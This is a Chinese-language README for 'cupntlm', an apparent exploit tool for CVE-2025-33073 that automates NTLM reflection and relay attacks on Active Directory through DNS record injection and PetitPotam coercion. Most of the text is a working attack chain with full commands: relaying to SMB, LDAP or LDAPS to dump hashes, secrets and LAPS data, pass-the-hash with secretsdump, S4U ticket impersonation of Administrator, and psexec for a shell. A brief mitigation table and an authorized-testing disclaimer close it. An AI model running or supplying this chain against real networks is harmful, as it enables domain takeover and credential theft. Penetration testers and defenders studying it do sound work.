cupntlm
CVE-2025-33073 — 通过 DNS 强制认证绕过 NTLM 反射
用于 Active Directory 环境的自动化利用工具。
cupntlm 自动化了利用 CVE-2025-33073 的 NTLM 反射/中继攻击链。它将 DNS 记录注入、强制身份认证(PetitPotam)和 NTLM 中继整合到单个工作流中。该工具支持两种运行模式,具体取决于范围与隐蔽性要求。
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
目标网络上的前提条件:
| Library | 安装 |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
检查目标上的 SMB 签名状态,并在尝试任何操作之前验证域凭据。
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
为每个目标创建唯一的 DNS 记录,逐个触发强制认证,并在每次迭代之间清理记录。速度较慢,但更精确,留下的噪音更少。
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
注入单个 DNS 记录,并在遍历所有目标时保持 ntlmrelayx 持续运行。对于大规模范围更快。
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
以下步骤在不使用 cupntlm.py 的情况下手动复现完整攻击链。有助于理解基本原理、调试或适配非标准环境。
识别禁用 SMB 签名的主机。这些主机是有效的中继目标。
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
或者使用 nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
查找:
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
使用 dnstool.py 在域 DNS 中添加一条 A 记录,将主机名指向你的机器。当目标解析该主机名并进行身份认证时,请求会到达你的中继监听器。
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
验证记录是否已添加:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
在触发强制认证之前启动 ntlmrelayx.py。它将等待并接收传入的身份认证。
中继到 SMB — 导出 SAM/LSA:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
中继到 LDAP — 创建新的机器账户(用于 RBCD / 影子凭据):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
中继到 LDAPS — 导出域机密:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
触发目标机器向外对你注入的 DNS 记录进行身份认证。PetitPotam 滥用 MS-EFSRPC 接口 — 在未修补的主机上无需凭据,已修补的主机则需要使用有效凭据。
未认证(未修补目标):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
已认证(已修补目标,需要有效凭据):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
此时,被强制认证的主机会将其 NTLM 身份认证发送到你的机器 → ntlmrelayx 捕获并中继该认证。
取决于你在步骤 3 中选择的中继目标:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py 获取服务票据测试结束后务必移除注入的 DNS 记录。
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
使用中继的机器账户进行哈希传递:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
获取 S4U2Self 的服务票据(RBCD 之后):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
使用该票据:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| 控制项 | 效果 |
|---|---|
| 在全部主机上启用 SMB 签名(必需) | 中断到 SMB 的中继 |
| 启用 LDAP 签名与通道绑定 | 中断到 LDAP/LDAPS 的中继 |
| 修补 MS-EFSRPC(KB5005413) | 阻止未认证的 PetitPotam |
本工具仅供授权的渗透测试与安全研究使用。
请勿将其用于未经明确书面许可进行测试的系统。
| Tool | 用途 |
|---|
python3 | 运行时 |
pip3 | Python 包管理器 |
git | 克隆依赖 |
wget | 下载文件 |
nmap | SMB 签名枚举 |
netexec / crackmapexec | SMB 签名检查(可选) |
| 将 DNS 记录创建权限限制为管理员 | 阻断 DNS 注入步骤 |
| 禁用 NTLM 网络身份认证(优先使用 Kerberos) | 消除整个攻击类别 |